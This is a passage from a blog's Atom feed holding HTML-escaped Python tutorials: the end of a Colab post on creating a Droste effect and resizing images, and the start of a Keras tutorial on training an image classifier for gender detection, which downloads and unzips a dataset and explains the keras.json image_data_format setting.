    &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# 1: Ln -&amp;gt; Tile   -&amp;gt; Rotate -&amp;gt; exponent&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@markdown inner circle radius 0.2 &lt;/span&gt;
    r1_ = &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;0.2&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@param[0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1]&lt;/span&gt;
    r1 = float(r1_)
    &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@markdown outer circle radius 0.9     &lt;/span&gt;
    r2_ = &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;0.9&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@param[0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1]   &lt;/span&gt;
    r2 = float(r2_)

    resultFolderAddress = CreateOutputFolder(inputImagePath, repeatsX, repeatsY, method, r1, r2)

    d = Droste(inputImagePath, repeatsX, repeatsY, r1, r2, -&lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;, &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;, resultFolderAddress)
    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;be patient...&amp;#39;&lt;/span&gt;)
    d.Transform(method)


&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; __name__ == &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;__main__&amp;quot;&lt;/span&gt;:
    main()
&lt;/pre&gt;&lt;br&gt;


&lt;p&gt;This code will resize the generated image according to input. Let me tell you that this Code does a preety neat job resizing image from small to big or big to small and keeps the image crisp.&lt;/p&gt;
&lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@title Resize Image *Copy paste path here&lt;/span&gt;
&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;from&lt;/span&gt; PIL &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;import&lt;/span&gt; Image
&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;from&lt;/span&gt; IPython.display &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;import&lt;/span&gt; Image &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;as&lt;/span&gt; Image_

Image_to_Correct = &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;/content/OutputImages/test.jpg-0.0.2-0.9.3-5.jpg/final-0.0.2-0.9.3-5.jpg&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@param {type:&amp;quot;string&amp;quot;}&lt;/span&gt;
image = Image.open(Image_to_Correct)
width, height = image.size

&lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@markdown Size:- SD 480p || HD 720p || HD 1080p || 4K 2160p&lt;/span&gt;
add_size_ = &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;640&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@param [640,1280,1920,3840]&lt;/span&gt;
add_size = int(add_size_)

remain_adw = add_size - width
remain_adh = add_size - height

new_image = image.resize((width+remain_adw,height+remain_adh))
&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; add_size == &lt;span style=&quot;color: #0000FF&quot;&gt;640&lt;/span&gt;:
  sd = &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;newsize_SD_480p.png&amp;#39;&lt;/span&gt;
  new_image.save(sd)
  fl = sd 
&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; add_size == &lt;span style=&quot;color: #0000FF&quot;&gt;1280&lt;/span&gt;:
  HD = &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;newsize_HD_720p.png&amp;#39;&lt;/span&gt;
  new_image.save(HD)
  fl = HD
&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; add_size == &lt;span style=&quot;color: #0000FF&quot;&gt;1920&lt;/span&gt;:
  HDD = &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;newsize_HD_1080p.png&amp;#39;&lt;/span&gt;
  new_image.save(HDD)
  fl = HDD
&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; add_size == &lt;span style=&quot;color: #0000FF&quot;&gt;3840&lt;/span&gt;:
  _4K = &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;newsize_4K_2160p.png&amp;#39;&lt;/span&gt;
  new_image.save(_4K)
  fl = _4K

&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;File Saved!!!&amp;quot;&lt;/span&gt;)
Image_(filename = fl, width = &lt;span style=&quot;color: #0000FF&quot;&gt;512&lt;/span&gt;, height = &lt;span style=&quot;color: #0000FF&quot;&gt;512&lt;/span&gt;) 
&lt;/pre&gt;&lt;br&gt;

&lt;p&gt;And this Code will download your &lt;strong&gt;Enlarged&lt;/strong&gt; Image from google colab&lt;/p&gt;
&lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# @markdown # Download Your File&lt;/span&gt;
&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;from&lt;/span&gt; google.colab &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;import&lt;/span&gt; files
files.download(fl)
&lt;/pre&gt;

&lt;div class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;br /&gt;&lt;b&gt;:::Dev Info:::&lt;/b&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;My Name:-&lt;/b&gt; Joel D&#39;costa&lt;br /&gt;
  &lt;b&gt;Git:-&lt;/b&gt; &lt;a href=&quot;https://github.com/joeldcosta/DrosteEffect&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;DrosteEffect&lt;/a&gt;&lt;br /&gt;
  &lt;b&gt;Google Colab:-&lt;/b&gt; &lt;input type=&quot;image&quot; onclick=&quot;window.open(&#39;https://colab.research.google.com/github/joeldcosta/DrosteEffect/blob/main/Droste_Effect_in_Python.ipynb&#39;,&#39;_blank&#39;)&quot; src=&quot;https://colab.research.google.com/assets/colab-badge.svg&quot; /&gt;
  &lt;/p&gt;&lt;br /&gt;
&lt;/div&gt; 
</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/2738955064583291402/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2022/03/create-droste-effect-using-python-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/2738955064583291402'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/2738955064583291402'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2022/03/create-droste-effect-using-python-for.html' title='Create Droste Effect Using Python for NFT'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEh6ZH_8Mvm3X6Edkpb-bfZweNMd9bgP4Syh2fUGhSOj2YQgVHb2WApb_yiiPHVDnXZDR5CZz-id8qvysFnqiGZk5_0FPq77NMs9Oyfap1IAF9tZaAVngDj0f4FKzfWronuUGJB48GI7LSuvBnQmH4Oi2xsGEIfUzX4dyQQZZYnsGHjDcctRzE11wh4E=s72-c" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-7555500660711955830</id><published>2022-01-14T14:20:00.153-08:00</published><updated>2022-03-06T04:57:47.889-08:00</updated><title type='text'>Python Machine Learning (Gender Detection Project ♀♂) | Google Colab Project</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEgWlMdWPyDbrAuGhnGhABq0bnDXYiJdjz6e040CgSEz7ZeOoEiF656MMenq3lxWo5pJ17TclJfqTc9z8-Ol5moeZ0o665svK8haBSA3t915QtJvlwtaSpCydpqcixuDVmfMeVyN7JmXr6I5PBCWThyIUicR0-FC7EDX3OZoZ5c7bzeNAE6i61p1ImR5=s2145&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img title=&quot;Deep Neural Network with Multiple Hidden Layers&quot; alt=&quot;Python Machine Learning Neural Network Deep Learning&quot; border=&quot;0&quot; width=&quot;400&quot; data-original-height=&quot;1207&quot; data-original-width=&quot;2145&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEgWlMdWPyDbrAuGhnGhABq0bnDXYiJdjz6e040CgSEz7ZeOoEiF656MMenq3lxWo5pJ17TclJfqTc9z8-Ol5moeZ0o665svK8haBSA3t915QtJvlwtaSpCydpqcixuDVmfMeVyN7JmXr6I5PBCWThyIUicR0-FC7EDX3OZoZ5c7bzeNAE6i61p1ImR5=s400&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;bg-light sidebar-module sidebar-module-inset&quot; id=&quot;toc&quot;&gt;
     &lt;p class=&quot;h3 mb-2 text-muted&quot;&gt;Table of Contents&lt;/p&gt;
     &lt;div class=&quot;toc&quot;&gt;
     &lt;ul&gt;
     &lt;ul&gt;&lt;li&gt;&lt;a href=&quot;#machine-learning&quot;&gt;Machine Learning&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;#python-neural-network-&quot;&gt;Python Neural Network &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;#python-training-model-&quot;&gt;Python Training Model &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;#python-deep-learning&quot;&gt;Python Deep Learning&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;a href=&quot;#what-are-we-going-to-do-here?&quot;&gt;What Are We Going To Do Here?&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#change-runtime-type&quot;&gt;Change Runtime Type&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#download-gender-data-from-dropbox&quot;&gt;Run 1 - Download Gender Data From Dropbox&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#extract-the-zip-file&quot;&gt;Run 2 - Extract The Zip File&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#assign-variables-to-dataset&quot;&gt;Run 3 - Assign Variables To Dataset&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#image_data_format-parameter-in-keras&quot;&gt;Run 4 - Image_Data_Format Parameter In Keras&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#importing-tensorflow-matplotlib&quot;&gt;Run 5 - Importing Tensorflow&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#to-get-equal-size-of-every-image-while-training-the-model&quot;&gt;Run 6 - To Get Equal Size Of Every Image While Training The Model&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#same-as-above-but-testing-&amp;amp;-validating-datagen&quot;&gt;Run 7 - Same As Above But Testing &amp;amp; Validating Datagen&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#using-matplotlib-to-view-our-data-which-will-give-out-data-in-equal-size&quot;&gt;Run 8 - Using Matplotlib To View Our Data Which Will Give Out Data In Equal Size&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#building-your-model&quot;&gt;Run 9 - Building Your Model&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#optimize-your-model&quot;&gt;Run 10 - Optimize Your Model&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#training-your-model&quot;&gt;Run 11 - Training Your Model&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#plotting-model-accuracy&quot;&gt;Run 12 - Plotting Model Accuracy&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#download-your-own-image&quot;&gt;Run 13 - Download Your Own Image&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#view-image-in-100x100&quot;&gt;Run 14 - View Image In 100X100&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#detect-if-our-image-is-of-a-man-or-woman&quot;&gt;Run 15 - Detect If Our Image Is Of A Man Or Woman&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#plotting-gender-data-on-your-image&quot;&gt;Run 16 - Plotting Gender Data On Your Image&lt;/a&gt;&lt;/li&gt;
     &lt;/ul&gt;
     &lt;/div&gt;
     &lt;/div&gt;



          &lt;section class=&quot;section2&quot; id=&quot;machine-learning&quot;&gt;
          &lt;h2&gt;&lt;u&gt;Machine Learning&lt;/u&gt; - &lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Machine learning is a branch of artificial intelligence (AI) and computer science which focuses on the use of data and algorithms to imitate the way that humans learn, gradually improving its accuracy.&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;python-neural-network-&quot;&gt;
          &lt;h2&gt;&lt;u&gt;Python Neural Network&lt;/u&gt; - &lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;span&gt;Neural networks, also known as artificial neural networks (ANNs) or simulated neural networks (SNNs), are a subset of machine learning and are at the heart of deep learning algorithms. Their name and structure are inspired by the human brain, mimicking the way that biological neurons signal to one another. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;python-training-model-&quot;&gt;
          &lt;h2&gt;&lt;u&gt;Python Training Model&lt;/u&gt; - &lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;span&gt;Train/Test is a method to measure the accuracy of your model. It is called Train/Test because you split the the data set into two sets: a training set and a testing set. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;python-deep-learning&quot;&gt;
          &lt;h2&gt;&lt;u&gt;Python Deep Learning&lt;/u&gt; - &lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;span&gt;Deep learning allows computational models that are composed of multiple processing layers to learn representations of data with multiple levels of abstraction. Later the multi-layered approach is described in terms of representation learning and abstraction.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;what-are-we-going-to-do-here?&quot;&gt;
          &lt;h2&gt;What Are We Going To Do Here?&lt;a class=&quot;headerlink&quot; href=&quot;#what-are-we-going-to-do-here?&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In Simple language we will teach python to detect who is ♀ and who is ♂ from the following given images. And we will make the entire project in Google Colab.&lt;/p&gt;
          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;change-runtime-type&quot;&gt;
          &lt;h2&gt;Change Runtime Type (*in Google Colab)&lt;a class=&quot;headerlink&quot; href=&quot;#change-runtime-type&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
            &lt;p&gt;First Goto - Runtime &amp;gt; Change runtime type &amp;gt; Notebook settings&lt;br /&gt;Change to - Hardware accelerator &amp;gt; GPU [Save]&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
            &lt;div class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
            &lt;p&gt;&lt;strong&gt;Gender Data Dropbox &lt;/strong&gt;&lt;i&gt;&lt;b&gt;&lt;a href=&quot;http://www.dropbox.com/s/1axwa3bhtr4e369/gender%20detection.zip&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Download&amp;nbsp;Datasets&lt;/a&gt;&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;
            &lt;/div&gt;
            
          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;download-gender-data-from-dropbox&quot;&gt;
          &lt;h2&gt;♀♂ Run 1 - Download Gender Data From Dropbox&lt;a class=&quot;headerlink&quot; href=&quot;#download-gender-data-from-dropbox&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
            &lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #960050; background-color: #1e0010&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;wget&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;www&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;dropbox&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;com&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;axwa3bhtr4e369&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;gender&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;detection&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;zip&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;extract-the-zip-file&quot;&gt;
          &lt;h2&gt;♀♂ Run 2 - Extract The Zip File&lt;a class=&quot;headerlink&quot; href=&quot;#extract-the-zip-file&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #960050; background-color: #1e0010&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;unzip&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;/content/gender detection.zip&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
          
&lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;assign-variables-to-dataset&quot;&gt;
          &lt;h2&gt;♀♂ Run 3 - Assign Variables To Dataset&lt;a class=&quot;headerlink&quot; href=&quot;#assign-variables-to-dataset&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
            &lt;p&gt;Epochs - number times that the learning algorithm will work through the entire training dataset.&lt;/p&gt;
&lt;p&gt;Training in Batches. Example 5 images per batch.&lt;/p&gt;
            &lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;validation_data_dir&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;r&amp;quot;/content/gender_dataset_face/Testing dataset&amp;quot;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;train_data_dir&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;r&amp;quot;/content/gender_dataset_face/Training set&amp;quot;&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;# I am taking width and height as 150&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;img_width,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;img_height&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;150&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;150&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;nb_train_sample&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;10&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;nb_validation_samples&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;10&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;# Epochs - number times that the learning algorithm will work through the entire training dataset.&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;epochs&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;50&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;# Training in Batches. Example 5 images per batch.&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;batch_size&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;5&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;image_data_format-parameter-in-keras&quot;&gt;
          &lt;h2&gt;♀♂ Run 4 - Image_Data_Format Parameter In Keras&lt;a class=&quot;headerlink&quot; href=&quot;#image_data_format-parameter-in-keras&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
            &lt;p&gt;Keras is a higher-level neural networks library for Python, which is capable of running on top of TensorFlow, CNTK (Microsoft Cognitive Toolkit), or Theano, (and with limited support for MXNet and Deeplearning4j), which Keras refers to as &#39;Backends&#39;.
Keras backend should use is defined in the keras.json file&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;located at ~/.keras/keras.json in Linux and Mac OS,&lt;/li&gt;
&lt;li&gt;and at %USERPROFILE%.keras\keras.json on Windows.&lt;/li&gt;
&lt;/ul&gt;

&lt;strong&gt;The &quot;backend&quot; parameter should either be &quot;tensorflow&quot;, &quot;cntk&quot;, or &quot;theano&quot;. When switching the backend, make sure to switch the &quot;image_data_format&quot; parameter too. For &quot;tensorflow &quot;or &quot;cntk&quot; backends, it should be “channels_last”. For “theano”, it should be “channels_first”.&lt;/strong&gt;

&lt;p&gt;The default keras.json file (default set to TensorFlow) would look like this,&lt;/p&gt;
            &lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
{  
   &quot;epsilon&quot;: 1e-07,  
   &quot;floatx&quot;: &quot;float32&quot;,  
   &quot;image_data_format&quot;: &quot;channels_last&quot;,  
   &quot;backend&quot;: &quot;tensorflow&quot;  
 }  
&lt;/pre&gt;
&lt;p&gt;So, the keras.json for CNTK should look like,&lt;/p&gt;
&lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
{  
   &quot;epsilon&quot;: 1e-07,  
   &quot;floatx&quot;: &quot;float32&quot;,  
   &quot;image_data_format&quot;: &quot;channels_last&quot;,  
   &quot;backend&quot;: &quot;cntk&quot;  
 } 
&lt;/pre&gt;
&lt;p&gt;Likewise, the keras,json for Theano would look like this,&lt;/p&gt;

&lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
{  
   &quot;epsilon&quot;: 1e-07,  
   &quot;floatx&quot;: &quot;float32&quot;,  
   &quot;image_data_format&quot;: &quot;channels_first&quot;,  
   &quot;backend&quot;: &quot;theano&quot;  
 }
&lt;/pre&gt;

&lt;p&gt;Why is this image_data_format parameter so important?&lt;/p&gt;
&lt;p&gt;The image_data_format parameter affects how each of the backends treat the data dimensions when working with multi-dimensional convolution layers (such as Conv2D, Conv3D, Conv2DTranspose, Copping2D, … and any other 2D or 3D layer). Specifically, it defines where the &#39;channels&#39; dimension is in the input data.&lt;/p&gt;
&lt;p&gt;Both TensorFlow and Theano expects a four dimensional tensor as input. But where TensorFlow expects the &#39;channels&#39; dimension as the last dimension (index 3, where the first is index 0) of the tensor – i.e. tensor with shape (samples, rows, cols, channels) – Theano will expect &#39;channels&#39; at the second dimension (index 1) – i.e. tensor with shape (samples, channels, rows, cols). The outputs of the convolutional layers will also follow this pattern.&lt;/p&gt;
&lt;p&gt;So, the image_data_format parameter, once set in keras.json, will tell Keras which dimension ordering to use in its convolutional layers.&lt;/p&gt;
&lt;p&gt;Mixing up the channels order would result in your models being trained in unexpected ways.&lt;/p&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tensorflow.keras.backend&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;k&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;k&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;image_data_format()&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;channels_first&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
  &lt;span style=&quot;color: #f8f8f2&quot;&gt;input_shape&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;img_width,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;img_height)&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
  &lt;span style=&quot;color: #f8f8f2&quot;&gt;input_shape&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;(img_width,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;img_height,&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
  
&lt;/pre&gt;&lt;/div&gt;

            
          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;importing-tensorflow-matplotlib&quot;&gt;
          &lt;h2&gt;♀♂ Run 5 - Importing Tensorflow, matplotlib &lt;br /&gt;&lt;/h2&gt;
            &lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tensorflow&lt;/span&gt;
